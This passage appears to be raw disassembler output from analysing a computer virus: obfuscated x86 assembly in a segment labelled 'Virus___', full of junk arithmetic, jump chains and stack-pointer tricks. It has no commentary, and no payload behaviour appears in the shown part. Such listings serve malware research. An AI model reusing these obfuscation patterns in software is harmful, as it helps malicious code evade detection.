loc_546F9C:				; CODE XREF: sub_545A2B+31F5j
		mov	edi, 58EA5446h
		mov	edx, 58EA57BAh
		xor	edx, edi
		pop	edi
		push	esi
		push	edi
		mov	edi, 7D2B1FF9h
		mov	esi, 9AD3046Eh
		add	esi, edi
		pop	edi
		sub	edi, esi
		jmp	loc_54C910
; ---------------------------------------------------------------------------


loc_546FBF:				; CODE XREF: sub_545A2B+76D4j
		pop	ebp
		push	4E9Bh
		mov	[esp-58h+arg_54], esi
		push	ebp
		push	ebx
		push	6DA866EFh
		pop	ebx
		jmp	loc_54C254
; ---------------------------------------------------------------------------


loc_546FD5:				; CODE XREF: sub_545A2B+981Dj
		add	esi, edx
		sub	esi, 24D111D8h
		pop	edx
		jmp	loc_5447F6
; ---------------------------------------------------------------------------


loc_546FE3:				; CODE XREF: sub_545A2B+238Cj
		push	53947h
		mov	ebx, [esp-50h+arg_4C]
		push	edx
		push	esp
		jmp	loc_54CC48
; ---------------------------------------------------------------------------


loc_546FF2:				; CODE XREF: sub_545A2B+3013j
		mov	edi, 3BCA6DCEh
		add	eax, edi
		pop	edi
		push	ebp
		sub	esp, 4
		mov	[esp-44h+arg_3E+2], eax
		push	5F802FCAh
		pop	eax
		jmp	loc_54D770
; ---------------------------------------------------------------------------


loc_54700C:				; CODE XREF: sub_545A2B-7FCj
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp-8+arg_4]
		mov	esp, [esp-8+arg_4]
		jmp	loc_548D55
; ---------------------------------------------------------------------------


loc_547020:				; CODE XREF: sub_545A2B+3BA8j
		push	1EA8h
		mov	[esp-4+arg_0], eax
		mov	eax, 2
		add	ecx, eax
		mov	eax, [esp-4+arg_0]
		jmp	loc_54375A
; ---------------------------------------------------------------------------


loc_547037:				; CODE XREF: Virus___:0054CBEEj
		push	esp
		jmp	loc_545802
; ---------------------------------------------------------------------------


loc_54703D:				; CODE XREF: sub_545A2B+703Aj
		neg	esi
		xor	esi, 1CE03F8h
		sub	edi, 71C700E7h
		add	edi, 601C4888h
		sub	edi, esi
		sub	esp, 4
		jmp	loc_5485C9
; ---------------------------------------------------------------------------


loc_54705E:				; CODE XREF: sub_545A2B+19AFj
		add	eax, 0F66A49D0h
		mov	esi, eax
		mov	eax, [esp+4+var_4]
		add	esp, 4
		jmp	loc_54B56C
; ---------------------------------------------------------------------------


loc_547073:				; CODE XREF: sub_545A2B+83D5j
		push	edx
		jmp	sub_54516C
; ---------------------------------------------------------------------------


loc_547079:				; CODE XREF: sub_545A2B-1019j
		pop	ebp
		xor	ecx, edx
		pop	edx
		shl	ecx, 4
		add	ecx, 0A87E18F4h
		add	esi, ecx
		jmp	loc_54C665
; ---------------------------------------------------------------------------


loc_54708D:				; CODE XREF: sub_545A2B+27CDj
		mov	eax, 2
		add	ecx, eax
		pop	eax
		xchg	ecx, [esp-64h+arg_60]
		mov	esp, [esp-64h+arg_60]
		push	5CAFh
		mov	[esp-60h+arg_5C], ebx
		mov	ebx, 40950441h
		shr	ebx, 6
		xor	ebx, 0B95565Eh
		sub	ebx, 3A247872h
		push	edi
		mov	edi, 259360A4h
		shl	edi, 2
		and	edi, 49E02182h
		add	edi, 64430B1Ch
		sub	edi, 6B8E7F2Dh
		neg	edi
		sub	edi, 3698E9B4h
		sub	ebx, edi
		mov	edi, [esp-5Ch+arg_58]
		add	esp, 4
		jmp	loc_54B6E1
; ---------------------------------------------------------------------------


loc_5470E7:				; CODE XREF: sub_545A2B-1360j
		xor	ecx, esi
		jmp	loc_5465C0
; ---------------------------------------------------------------------------


loc_5470EE:				; CODE XREF: sub_545A2B+1258j
		pop	ebx
		add	ch, dh
		pop	edx
		sub	al, ch
		pop	ecx
		push	ebx
		mov	bh, 0CCh
		not	bh
		sub	bh, 72h
		and	bh, 67h
		or	bh, 89h
		neg	bh
		add	bh, 0Ah
		sub	esp, 4
		mov	[esp-2Ah+arg_26], ecx
		mov	cl, 90h
		push	bx
		jmp	loc_54E15C
; ---------------------------------------------------------------------------


loc_54711A:				; CODE XREF: sub_545A2B+3AE4j
		sub	esp, 4
		jmp	loc_54944F
; ---------------------------------------------------------------------------


loc_547125:				; CODE XREF: sub_545A2B+1DB5j
		add	esp, 4
		shr	ecx, 7
		push	dword ptr [edi+1Ch]
		push	edi
		push	eax
		mov	eax, 74814B39h
		push	edi
		mov	edi, 5AAE7918h
		neg	edi
		sub	edi, 1
		or	edi, 7D174680h
		jmp	loc_54B43D
; ---------------------------------------------------------------------------


loc_547151:				; CODE XREF: sub_545A2B+8AE8j
		pop	eax
		jmp	loc_546DEA
; ---------------------------------------------------------------------------


loc_547157:				; CODE XREF: sub_545A2B+3838j
		xor	[esp-1Ch+arg_16+2], edx
		xor	edx, [esp-1Ch+arg_16+2]
		mov	esp, [esp-1Ch+arg_16+2]
		xchg	esi, [esp-1Ch+arg_16+2]
		pop	esp
		sar	[esp-20h+arg_1A+2], cl
		pushf
		jmp	loc_542F67
; ---------------------------------------------------------------------------


loc_54716D:				; CODE XREF: sub_54E0D7-12F7j
		sub	cl, 1
		add	cl, al
		add	cl, 1
		pop	eax
		push	edx
		jmp	loc_54B203
; ---------------------------------------------------------------------------


loc_54717C:				; CODE XREF: sub_545A2B+2A2Fj
		add	edx, ebx
		push	5A8Fh
		mov	[esp-18h+arg_12+2], esi
		jmp	loc_5441F1
; ---------------------------------------------------------------------------


loc_54718B:				; CODE XREF: sub_545A2B+1251j
		mov	ebx, 4
		jmp	loc_542F71
; ---------------------------------------------------------------------------


loc_547195:				; CODE XREF: sub_545A2B+2DCj
		sub	ebp, 1
		shr	ebp, 7
		jmp	sub_544F70
; ---------------------------------------------------------------------------


loc_5471A3:				; CODE XREF: sub_545A2B+E28j
		dec	eax
		not	eax
		jmp	loc_544C26
; ---------------------------------------------------------------------------


loc_5471AB:				; CODE XREF: sub_543958+2Bj
		sub	edi, 4C8C70DAh
		sub	edi, ebx
		add	edi, 4C8C70DAh
		jmp	loc_549A7A
; ---------------------------------------------------------------------------


loc_5471BE:				; CODE XREF: sub_545A2B+4533j
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp-4Ch+arg_46+2]
		pop	esp
		mov	[esp-50h+arg_4C], esp
		add	[esp-50h+arg_4C], 4
		mov	ecx, [esp-50h+arg_4C]
		add	esp, 4
		push	ebx
		mov	ebx, 4
		add	ecx, ebx
		mov	ebx, [esp-50h+arg_4C]
		add	esp, 4
		push	ebx
		jmp	loc_54B44F
; ---------------------------------------------------------------------------


loc_5471F1:				; CODE XREF: sub_545A2B-29C5j
		push	3619h
		mov	[esp+6+var_8+2], edx
		sub	esp, 4
		mov	[esp+0Ah+var_C+2], esi
		mov	esi, 3DBF6A48h
		inc	esi
		sub	esi, 0CF8C443Dh
		mov	edx, esi
		pop	esi
		push	edi
		mov	edi, 79B022E8h
		jmp	loc_54C8BF
; ---------------------------------------------------------------------------


loc_547219:				; DATA XREF: Virus___:00542E40o
		mov	ax, word ptr [esp+0Ah+var_C+2]
		push	51C1h
		jmp	loc_547742
; ---------------------------------------------------------------------------


loc_547227:				; DATA XREF: Virus___:00542E64o
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcr	byte ptr [esp+0Ch+var_C], cl
		pushf
		jmp	loc_542F67
; ---------------------------------------------------------------------------


loc_547236:				; CODE XREF: sub_545A2B+1146j
		sub	esp, 4
		mov	[esp-0Eh+arg_A], edx
		push	esp
		pop	edx
		jmp	sub_54EAB6
; ---------------------------------------------------------------------------


loc_547246:				; CODE XREF: sub_545A2B-108Fj
		pop	esp
		jmp	sub_54E0D7
; ---------------------------------------------------------------------------


loc_54724C:				; CODE XREF: sub_545A2B+4D7j
		pop	ax
		mov	bx, word ptr [esp-40h+arg_3A+2]
		add	esp, 2
		add	cl, dh
		pop	edx
		sub	al, 0CEh
		sub	al, cl
		add	al, 0CEh
		jmp	loc_544A51
; ---------------------------------------------------------------------------


loc_547263:				; CODE XREF: sub_545A2B+21CBj
		mov	[esp-48h+arg_42+2], ebp
		push	29DFh
		push	esp
		jmp	loc_54D70D
; ---------------------------------------------------------------------------


loc_547271:				; CODE XREF: sub_545A2B+7638j
		jmp	loc_542F67
; ---------------------------------------------------------------------------


loc_547276:				; CODE XREF: Virus___:0054CD96j
		push	87Ch
		mov	[esp-3Ch+arg_36+2], ebx
		mov	ebx, 73707DF0h
		xor	ebx, 73707DF4h
		add	edi, ebx
		pop	ebx
		jmp	loc_545EDF
; ---------------------------------------------------------------------------


loc_547291:				; CODE XREF: Virus___:0054EB5Aj
		mov	ecx, 190E7B4Dh
		jmp	loc_54786B
; ---------------------------------------------------------------------------


loc_54729B:				; CODE XREF: sub_545A2B+2493j
		mov	ebp, 2E765697h
		sub	eax, ebp
		jmp	loc_54CD53
; ---------------------------------------------------------------------------


loc_5472A7:				; CODE XREF: sub_545002+7D07j
		push	[esp-40h+arg_3A+2]
		jmp	loc_5450C1
; ---------------------------------------------------------------------------


loc_5472AF:				; CODE XREF: sub_545A2B+A2Aj
		pop	esp
		jmp	loc_54D819
; ---------------------------------------------------------------------------


loc_5472B5:				; CODE XREF: sub_545A2B+EC0j
		sub	ecx, edx
		mov	edx, [esp-5Ah+arg_54+2]
		add	esp, 4
		xor	edi, ecx
		pop	ecx
		add	edi, 5B182B24h
		add	edi, 4A4B3246h
		sub	esi, edi
		pop	edi
		xor	eax, esi
		mov	esi, [esp-66h+arg_60+2]
		add	esp, 4
		xor	ebx, eax
		push	edx
		jmp	loc_54AF8C
; ---------------------------------------------------------------------------


loc_5472E2:				; CODE XREF: sub_545A2B+DC9j
		push	[esp-28h+arg_26+2]
		mov	ecx, [esp-24h+arg_1E+2]
		add	esp, 4
		jmp	loc_547389
; ---------------------------------------------------------------------------


loc_5472F4:				; CODE XREF: sub_545A2B+3874j
		push	[esp-28h+arg_22+2]
		mov	eax, [esp-24h+arg_1E+2]
		push	ecx
		mov	ecx, esp
		push	ebx
		mov	ebx, 4
		add	ecx, ebx
		pop	ebx
		push	eax
		mov	eax, 4
		jmp	loc_54B10A
; ---------------------------------------------------------------------------


loc_547311:				; CODE XREF: sub_545A2B+438Bj
		xchg	esi, [esp-1Ch+arg_16+2]
		pop	esp
		or	edx, eax
		shl	edx, 1
		push	eax
		jmp	loc_54CC80
; ---------------------------------------------------------------------------


loc_54731F:				; CODE XREF: sub_545A2B+20E5j
		pop	eax
		add	ebx, 4
		xor	ebx, [esp-20h+arg_1A+2]
		xor	[esp-20h+arg_1A+2], ebx
		xor	ebx, [esp-20h+arg_1A+2]
		pop	esp
		xchg	ecx, [esp-24h+arg_1E+2]
		pop	esp
		sub	esp, 4
		mov	[esp-24h+arg_1E+2], ecx
		jmp	loc_547595
; ---------------------------------------------------------------------------


loc_547342:				; CODE XREF: sub_545A2B+5153j
		sub	ax, si
		pop	si
		push	esi
		mov	si, 35BBh
		jmp	loc_549069
; ---------------------------------------------------------------------------


loc_547351:				; CODE XREF: sub_545A2B+3DE1j
		add	ebx, 21712E4h
		jmp	loc_54BDFB
; ---------------------------------------------------------------------------


loc_54735C:				; CODE XREF: sub_545A2B+5EF5j
		add	esp, 4
		jmp	loc_545A3A
; ---------------------------------------------------------------------------


loc_547367:				; CODE XREF: sub_545A2B+92F1j
		pop	edi
		sub	esp, 4
		jmp	loc_54E2DB
; ---------------------------------------------------------------------------


loc_547370:				; CODE XREF: sub_545A2B+8781j
		shr	dl, 3
		inc	dl
		jmp	loc_548C25
; ---------------------------------------------------------------------------


loc_54737A:				; CODE XREF: sub_545A2B+589j
		pop	eax
		sub	[esp-20h+arg_1E+2], 51171109h
		push	ebx
		jmp	loc_54B28D
; ---------------------------------------------------------------------------


loc_547389:				; CODE XREF: sub_545A2B+18C4j
		pop	[esp-28h+arg_22+2]
		pop	esp
		add	esp, 4
		add	esp, 4
		push	edx
		push	esp
		mov	edx, [esp-30h+arg_2A+2]
		add	esp, 4
		push	ebp
		mov	ebp, 4
		add	edx, ebp
		mov	ebp, [esp-30h+arg_2A+2]
		add	esp, 4
		jmp	loc_54A515
; ---------------------------------------------------------------------------


loc_5473B4:				; CODE XREF: sub_545A2B+9A3Fj
		add	[esp-34h+arg_36+2], ebx
		jmp	loc_54F178
; ---------------------------------------------------------------------------


loc_5473BD:				; CODE XREF: sub_545A2B+12ADj
		add	esi, eax
		jmp	loc_5451E1
; ---------------------------------------------------------------------------


loc_5473C4:				; CODE XREF: sub_545A2B+7FCAj
		push	esp
		jmp	loc_54B981
; ---------------------------------------------------------------------------


loc_5473CA:				; CODE XREF: sub_545A2B+88B3j
		mov	eax, 26C5771Fh
		and	eax, 35511843h
		jmp	loc_54ED21
; ---------------------------------------------------------------------------


loc_5473D9:				; CODE XREF: sub_545A2B-1613j
		pop	edx
		jmp	loc_54705E
; ---------------------------------------------------------------------------


loc_5473DF:				; CODE XREF: sub_545A2B+61A5j
		mov	eax, [esp-1Ah+arg_16]
		sub	esp, 4
		mov	[esp-16h+arg_12], ebp
		mov	ebp, esp
		jmp	loc_54946B
; ---------------------------------------------------------------------------


loc_5473EF:				; CODE XREF: sub_545A2B+4E24j
		add	esp, 4
		and	ecx, edx
		push	[esp-1Ah+arg_16]
		pop	edx
		push	edi
		jmp	loc_54954D
; ---------------------------------------------------------------------------


loc_547401:				; CODE XREF: sub_545A2B+1A9j
		xor	edi, 47BA77B2h
		xor	edi, 69F3D49h
		shl	edi, 7
		add	edi, 0E3A3CE8Bh
		xor	esi, edi
		jmp	loc_547691
; ---------------------------------------------------------------------------


loc_54741D:				; CODE XREF: sub_545A2B+39A6j
		add	esp, 4
		or	eax, eax
		jz	sub_54E287
		push	7EADh
		mov	[esp-30h+arg_2A+2], edx
		mov	edx, 1Ch
		sub	esp, 4
		mov	[esp-2Ch+arg_26+2], edi
		mov	edi, 14032604h
		neg	edi
		inc	edi
		shr	edi, 6
		jmp	loc_54D83C
; ---------------------------------------------------------------------------


loc_54744B:				; CODE XREF: sub_545A2B+8471j
		mov	dh, 1Ah
		push	edx
		jmp	loc_54D62A
; ---------------------------------------------------------------------------


loc_547453:				; CODE XREF: sub_545A2B-1D22j
		push	4E57h
		mov	[esp-32h+arg_2E], edx
		push	40h
		jmp	loc_546D81
; ---------------------------------------------------------------------------


loc_547465:				; CODE XREF: sub_545A2B+470Fj
		xchg	edx, [esp-2Eh+arg_2A]
		mov	esp, [esp-2Eh+arg_2A]
		inc	[esp-2Eh+arg_2A]
		pushf
		jmp	loc_54BE17
; ---------------------------------------------------------------------------


loc_547474:				; CODE XREF: sub_545A2B+8BF2j
		sub	esp, 4
		mov	[esp-26h+arg_22], ebx
		jmp	loc_54895A
; ---------------------------------------------------------------------------


loc_54747F:				; CODE XREF: sub_545A2B+504Fj
		add	esi, ebp
		pop	ebp
		jmp	loc_54AE1A
; ---------------------------------------------------------------------------


loc_547487:				; CODE XREF: sub_545A2B-9CCj
		sub	[esp-44h+arg_42+2], ebp
		sub	[esp-44h+arg_42+2], 38646813h
		jmp	loc_54B493
; ---------------------------------------------------------------------------


loc_547498:				; CODE XREF: Virus___:00543E50j
		add	eax, 25AD7FC2h
		jmp	loc_543BBA
; ---------------------------------------------------------------------------


loc_5474A2:				; CODE XREF: sub_545A2B+469j
		xchg	ecx, [esp-1Eh+arg_1A]
		pop	esp
		add	edx, eax
		add	edx, 4C3D0516h
		push	ecx
		jmp	loc_54C4DF
; ---------------------------------------------------------------------------


loc_5474B4:				; CODE XREF: sub_545A2B+4732j
		pop	[esp-1Eh+arg_1A]
		pop	esp
		mov	[esp-26h+arg_22], edi
		push	esi
		jmp	loc_543DA4
; ---------------------------------------------------------------------------


loc_5474C1:				; CODE XREF: sub_545A2B+12Dj
		add	eax, 6A5B72F1h
		push	ebp
		mov	ebp, 1FA11836h
		or	ebp, 8725E41h
		add	ebp, 42A9AAD1h
		xor	eax, ebp
		pop	ebp
		and	eax, 6DDF08EEh
		xor	eax, 671652F0h
		jmp	loc_54DB83
; ---------------------------------------------------------------------------


loc_5474EA:				; DATA XREF: Virus___:00542ED4o
		lodsd
		cmp	dword ptr [edi+20h], 0
		jz	loc_548F62
		push	27B9h
		mov	[esp-1Eh+arg_1A], ebp
		push	esp
		pop	ebp
		jmp	loc_54DD26
; ---------------------------------------------------------------------------


loc_547504:				; CODE XREF: sub_545A2B+38A1j
		mov	cx, word ptr [esp-1Eh+arg_1A]
		add	esp, 2
		push	edx
		mov	edx, esp
		jmp	loc_5481D7
; ---------------------------------------------------------------------------


loc_547516:				; CODE XREF: sub_545A2B+46EAj
		add	ecx, 0C2EB1544h
		xor	edx, ecx
		pop	ecx
		mov	edi, edx
		push	[esp-22h+arg_1E]
		pop	edx
		add	esp, 4
		add	edi, 0FFFFFFFFh
		jmp	loc_54F3FB
; ---------------------------------------------------------------------------


loc_547533:				; CODE XREF: sub_545A2B+3D9j
		xchg	edi, [esp-1Ah+arg_16]
		pop	esp
		sub	esp, 4
		jmp	loc_545321
; ---------------------------------------------------------------------------


loc_547542:				; DATA XREF: Virus___:00542E94o
		mov	cx, word ptr [esp-1Ah+arg_16]
		jmp	loc_5494F6
; ---------------------------------------------------------------------------


loc_54754B:				; CODE XREF: sub_545A2B-9B2j
		pop	[esp-44h+arg_3E+2]
		pop	esp
		mov	word ptr [esp-4Ch+arg_46+2], ax
		jmp	loc_543BB5
; ---------------------------------------------------------------------------


loc_547558:				; CODE XREF: sub_545A2B+89A3j
		shr	ecx, 2
		jmp	loc_5461E9
; ---------------------------------------------------------------------------


loc_547560:				; CODE XREF: sub_545A2B-114j
		shl	eax, 2
		jmp	loc_54EEDF
; ---------------------------------------------------------------------------


loc_547568:				; CODE XREF: sub_545A2B+EAj
		add	esi, edi
		pop	edi
		sub	esp, 4
		mov	[esp+0Ch+var_C], eax
		mov	eax, 4
		add	esi, eax
		pop	eax
		xor	esi, [esp+8+var_8]
		xor	[esp+8+var_8], esi
		xor	esi, [esp+8+var_8]
		pop	esp
		jmp	loc_542F67
; ---------------------------------------------------------------------------


loc_54758B:				; CODE XREF: sub_545A2B+31E4j
		pop	esp
		sub	[esp+0], al
		pushf
		jmp	loc_542F67
; ---------------------------------------------------------------------------


loc_547595:				; CODE XREF: sub_545A2B+1912j
		mov	ecx, 15AC61C3h
		inc	ecx
		sub	ecx, 1A5B416Ch
		push	0
		add	[esp-20h+arg_1A+2], 2EF605D8h
		sub	[esp-20h+arg_1A+2], ecx
		sub	[esp-20h+arg_1A+2], 2EF605D8h
		mov	ecx, [esp-20h+arg_1A+2]
		add	esp, 4
		push	edx
		mov	edx, 72D55B0Eh
		sub	edx, 0FFFFFFFFh
		jmp	loc_54DF09
; ---------------------------------------------------------------------------


loc_5475CB:				; CODE XREF: sub_545A2B+6D10j
		push	721h
		mov	[esp-1Ch+arg_16+2], ecx
		jmp	loc_54B587
; ---------------------------------------------------------------------------


loc_5475D8:				; CODE XREF: sub_545A2B+1F8j
		xor	ebx, [esp-34h+arg_2E+2]
		xor	[esp-34h+arg_2E+2], ebx
		xor	ebx, [esp-34h+arg_2E+2]
		jmp	loc_54C1C9
; ---------------------------------------------------------------------------


loc_5475E6:				; CODE XREF: sub_545A2B+14D7j
		add	edi, esi
		pop	esi
		push	edi
		jmp	loc_5495D8
; ---------------------------------------------------------------------------
		lodsw
		sub	esp, 2
		mov	word ptr [esp-6+arg_0+2], dx
		jmp	sub_54C95E
; ---------------------------------------------------------------------------


loc_547600:				; CODE XREF: sub_545A2B+7DE9j
		push	ebp
		mov	ebp, 15BC2057h
		jmp	sub_5441BD
; ---------------------------------------------------------------------------


loc_54760B:				; CODE XREF: sub_545A2B+94CAj
		mov	ebx, 7B25CDC6h
		xor	edx, ebx
		pop	ebx
		and	ebx, edx
		pop	edx
		xor	ebx, 2C00701Ch
		push	ebx
		pop	edx
		pop	ebx
		jmp	loc_5461C5
; ---------------------------------------------------------------------------


loc_547624:				; CODE XREF: sub_545A2B+6CA3j
		add	esp, 4
		jmp	loc_54D078
; ---------------------------------------------------------------------------


loc_54762F:				; CODE XREF: sub_54E5AF+18j
		xor	[esp-12h+arg_E], 76713B3Ch
		jmp	loc_54BEE0
; ---------------------------------------------------------------------------


loc_54763B:				; CODE XREF: sub_545A2B+2AB7j
		add	al, 0Eh
		jmp	loc_547F6A
; ---------------------------------------------------------------------------


loc_547642:				; CODE XREF: sub_545A2B+3061j
		or	eax, 39464D5Bh
		jmp	loc_54BB1B
; ---------------------------------------------------------------------------


loc_54764C:				; DATA XREF: Virus___:00542CDCo
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		sbb	byte ptr [esp-14h+arg_E+2], al
		pushf
		jmp	loc_542F67
; ---------------------------------------------------------------------------


loc_54765B:				; CODE XREF: sub_545A2B-C32j
		sub	esp, 4
		jmp	loc_548C1C
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp-3Eh+arg_3A]
		push	1835h
		mov	[esp-3Ah+arg_36], ebp
		jmp	loc_5436A5
; ---------------------------------------------------------------------------


loc_547674:				; CODE XREF: sub_54CF1D+Cj
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp-3Ah+arg_36]
		pop	esp
		push	edx
		mov	dh, 0DCh
		xor	bh, dh
		pop	edx
		jmp	loc_548EC5
; ---------------------------------------------------------------------------


loc_547691:				; CODE XREF: sub_545A2B+19EDj
		mov	edi, [esp-30h+arg_2A+2]
		jmp	loc_5446BF
; ---------------------------------------------------------------------------


loc_547699:				; CODE XREF: sub_545A2B+E4Fj
		mov	esp, [esp-3Ah+arg_36]
		push	74Eh
		mov	[esp-36h+arg_32], edx
		push	esi
		mov	esi, 0A1243C1h
		mov	edx, esi
		jmp	loc_54D725
; ---------------------------------------------------------------------------


loc_5476B1:				; CODE XREF: sub_545A2B+7ACAj
		or	edx, edi
		pop	edi
		add	edx, 7B3242C7h
		jmp	loc_54EFAA
; ---------------------------------------------------------------------------


loc_5476BF:				; CODE XREF: sub_545A2B+456Dj
		mov	ecx, [esp-36h+arg_32]
		jmp	loc_54478B
; ---------------------------------------------------------------------------


loc_5476C7:				; CODE XREF: sub_545A2B+7B2Fj
		sub	esp, 4
		mov	[esp-32h+arg_2E], ebx
		mov	ebx, 4
		add	eax, ebx
		jmp	loc_54E84A
; ---------------------------------------------------------------------------


loc_5476DC:				; CODE XREF: sub_545A2B+93Dj
		push	ebp
		jmp	loc_54D46A
; ---------------------------------------------------------------------------


loc_5476E2:				; CODE XREF: sub_545A2B+4429j
		add	eax, 4
		xor	eax, [esp-40h+arg_3A+2]
		xor	[esp-40h+arg_3A+2], eax
		xor	eax, [esp-40h+arg_3A+2]
		jmp	loc_54B487
; ---------------------------------------------------------------------------


loc_5476F5:				; CODE XREF: Virus___:00544300j
		push	edx
		mov	edx, esp
		jmp	loc_54B976
; ---------------------------------------------------------------------------


loc_5476FD:				; CODE XREF: sub_545A2B+9962j
		shr	ecx, 8
		add	ecx, 19FFFB2Ah
		or	ebx, ecx
		pop	ecx
		or	ebx, 1FD736E6h
		jmp	sub_542FBE
; ---------------------------------------------------------------------------


loc_547714:				; CODE XREF: sub_545A2B+34AEj
		sub	ebp, 67DC2B13h
		jmp	loc_54540A
; ---------------------------------------------------------------------------


loc_54771F:				; CODE XREF: sub_545A2B+4995j
		push	edx
		jmp	loc_54B0C5
; ---------------------------------------------------------------------------


loc_547725:				; CODE XREF: sub_545A2B+4CE3j
		add	[esp-3Ch+arg_36+2], 15F22DDAh
		sub	[esp-3Ch+arg_36+2], ecx
		jmp	loc_543DF2
; ---------------------------------------------------------------------------


loc_547734:				; CODE XREF: sub_545A2B+47F0j
		xor	al, 0F8h
		jmp	sub_543419
; ---------------------------------------------------------------------------


loc_54773B:				; CODE XREF: sub_545A2B+916Ej
		mov	edi, esp
		jmp	loc_545E31
; ---------------------------------------------------------------------------


loc_547742:				; CODE XREF: sub_545A2B+17F7j
		mov	[esp+0Eh+var_10+2], esi
		push	esp
		jmp	loc_54CFC5
; ---------------------------------------------------------------------------


loc_54774B:				; CODE XREF: sub_545A2B-65Dj
		not	ebp
		shr	ebp, 5
		push	esi
		mov	esi, 422B0FB9h
		push	edx
		mov	edx, 64F78CFh
		jmp	loc_54636D
; ---------------------------------------------------------------------------


loc_547761:				; CODE XREF: sub_545A2B+46B3j
		xor	ebx, eax
		mov	dx, word ptr [esp-38h+arg_32+2]
		sub	esp, 4
		mov	[esp-34h+arg_2E+2], esi
		push	esp
		pop	esi
		jmp	sub_543D76
; ---------------------------------------------------------------------------


loc_547777:				; CODE XREF: sub_545A2B+87A5j
		push	esi
		mov	esi, 39E50983h
		shl	esi, 5
		dec	esi
		jmp	loc_54955A
; ---------------------------------------------------------------------------


loc_547786:				; CODE XREF: sub_545A2B+69DEj
		push	ecx
		mov	ecx, edi
		mov	edx, ecx
		pop	ecx
		mov	edi, [esp-30h+arg_2A+2]
		add	esp, 4
		or	edx, 2EFA15E7h
		shr	edx, 7
		jmp	loc_5489B3
; ---------------------------------------------------------------------------


loc_5477A3:				; CODE XREF: sub_545A2B-149Cj
		mov	ecx, [esp-22h+arg_1E]
		push	eax
		jmp	loc_5452AC
; ---------------------------------------------------------------------------


loc_5477AC:				; CODE XREF: Virus___:0054418Cj
		mov	bl, cl
		jmp	loc_546D78
; ---------------------------------------------------------------------------


loc_5477B3:				; CODE XREF: sub_545A2B+565j
		add	[esp-20h+arg_1A+2], 4
		mov	ebx, [esp-20h+arg_1A+2]
		add	esp, 4
		jmp	loc_547E22
; ---------------------------------------------------------------------------


loc_5477C2:				; CODE XREF: sub_545A2B-E7Cj
		sub	ch, ah
		mov	eax, [esp-10h+arg_A+2]
		jmp	loc_5483E3
; ---------------------------------------------------------------------------


loc_5477CC:				; CODE XREF: sub_545A2B+5CDAj
		add	edi, 4
		push	ebx
		jmp	loc_549B8E
; ---------------------------------------------------------------------------


loc_5477D8:				; CODE XREF: sub_545A2B+53F8j
		mov	edx, ebx
		pop	ebx
		and	ecx, edx
		mov	edx, [esp-10h+arg_A+2]
		jmp	loc_547125
; ---------------------------------------------------------------------------


loc_5477E5:				; CODE XREF: sub_545A2B+3184j
		mov	esi, esp
		jmp	loc_54DB8E
; ---------------------------------------------------------------------------


loc_5477EC:				; CODE XREF: sub_545A2B+9646j
		mov	eax, 443017F4h
		sub	eax, 6276F10h
		shr	eax, 1
		not	eax
		add	eax, 7F3225F7h
		dec	eax
		add	eax, 135F3D5Ah
		jmp	loc_54EDA1
; ---------------------------------------------------------------------------


loc_54780A:				; CODE XREF: sub_545A2B+6C45j
		jmp	loc_542F67
; ---------------------------------------------------------------------------


loc_54780F:				; CODE XREF: sub_545A2B+603Fj
		xchg	ebx, [esp-10h+arg_A+2]
		pop	esp
		dec	bh
		shr	bh, 7
		push	ecx
		mov	cl, 81h
		and	bh, cl
		pop	ecx
		push	eax
		mov	ah, 0B3h
		dec	ah
		add	ah, 12h
		sub	ah, 0E4h
		jmp	loc_54A870
; ---------------------------------------------------------------------------


loc_54782E:				; CODE XREF: sub_545A2B+94AFj
		pop	ebx
		mov	ecx, esi
		mov	esi, [esp-14h+arg_E+2]
		add	esp, 4
		and	[edi+1Ch], ecx
		pop	ecx
		jmp	loc_542F67
; ---------------------------------------------------------------------------
		neg	[esp-1Ch+arg_16+2]
		pushf
		jmp	loc_542F67
; ---------------------------------------------------------------------------


loc_54784C:				; CODE XREF: sub_545A2B+5ECDj
		sub	[esp-18h+arg_12+2], esi
		push	ebx
		jmp	loc_54EEFA
; ---------------------------------------------------------------------------


loc_547855:				; CODE XREF: sub_545A2B-1CDEj
		add	al, ch
		sub	al, 0BAh
		sub	al, 0A4h
		pop	ecx
		xor	bl, al
		jmp	loc_54D257
; ---------------------------------------------------------------------------


loc_547863:				; CODE XREF: sub_545A2B-2038j
		xor	cl, 1
		jmp	loc_54EC4D
; ---------------------------------------------------------------------------


loc_54786B:				; CODE XREF: sub_545A2B+186Bj
		shr	ecx, 8
		shl	ecx, 2
		jmp	loc_543DEB
; ---------------------------------------------------------------------------


loc_547876:				; CODE XREF: sub_545A2B-12BEj
		push	[esp-36h+arg_36]
		pop	ebp
		pop	[esp-36h+arg_32]
		pop	esp
		mov	[esp-3Eh+arg_3A], ebp
		push	eax
		mov	eax, 252B2E25h
		push	esi
		jmp	loc_5466E5
; ---------------------------------------------------------------------------


loc_54788E:				; CODE XREF: sub_545A2B+5C4Dj
		mov	ebx, 10FC3212h
		and	ebp, ebx
		pop	ebx
		sub	ebp, 70CF3E32h
		not	ebp
		xor	ebp, 1C554F11h
		or	ecx, ebp
		mov	ebp, [esp-3Ah+arg_36]
		add	esp, 4
		sub	ecx, 0FFFFFEBBh
		jmp	loc_54C1A7
; ---------------------------------------------------------------------------


loc_5478B7:				; CODE XREF: sub_545A2B-5FDj
		and	edx, 1DDF2756h
		jmp	loc_54EC6C
; ---------------------------------------------------------------------------


loc_5478C2:				; CODE XREF: sub_545A2B+2F63j
		add	esp, 4
		sub	eax, 1CA60728h
		add	eax, 3C3C3981h
		add	eax, ebx
		jmp	loc_546AFC
; ---------------------------------------------------------------------------


loc_5478D9:				; CODE XREF: sub_545A2B+271Bj
		neg	bh
		push	small 23CFh
		mov	word ptr [esp-42h+arg_3E], ax
		mov	al, bh
		push	edx
		mov	dh, al
		not	dh
		mov	al, dh
		pop	edx
		mov	bh, al
		jmp	loc_54CA41
; ---------------------------------------------------------------------------


loc_5478F4:				; CODE XREF: sub_545A2B-9E6j
		pop	eax
		pop	edx
		add	bl, 0B8h
		sub	bl, 4Eh
		add	bl, al
		add	bl, 4Eh
		jmp	loc_54B0B4
; ---------------------------------------------------------------------------


loc_547906:				; CODE XREF: sub_545A2B+4A3Dj
		push	cx
		mov	cl, 50h
		sub	al, cl
		pop	cx
		jmp	loc_543E76
; ---------------------------------------------------------------------------
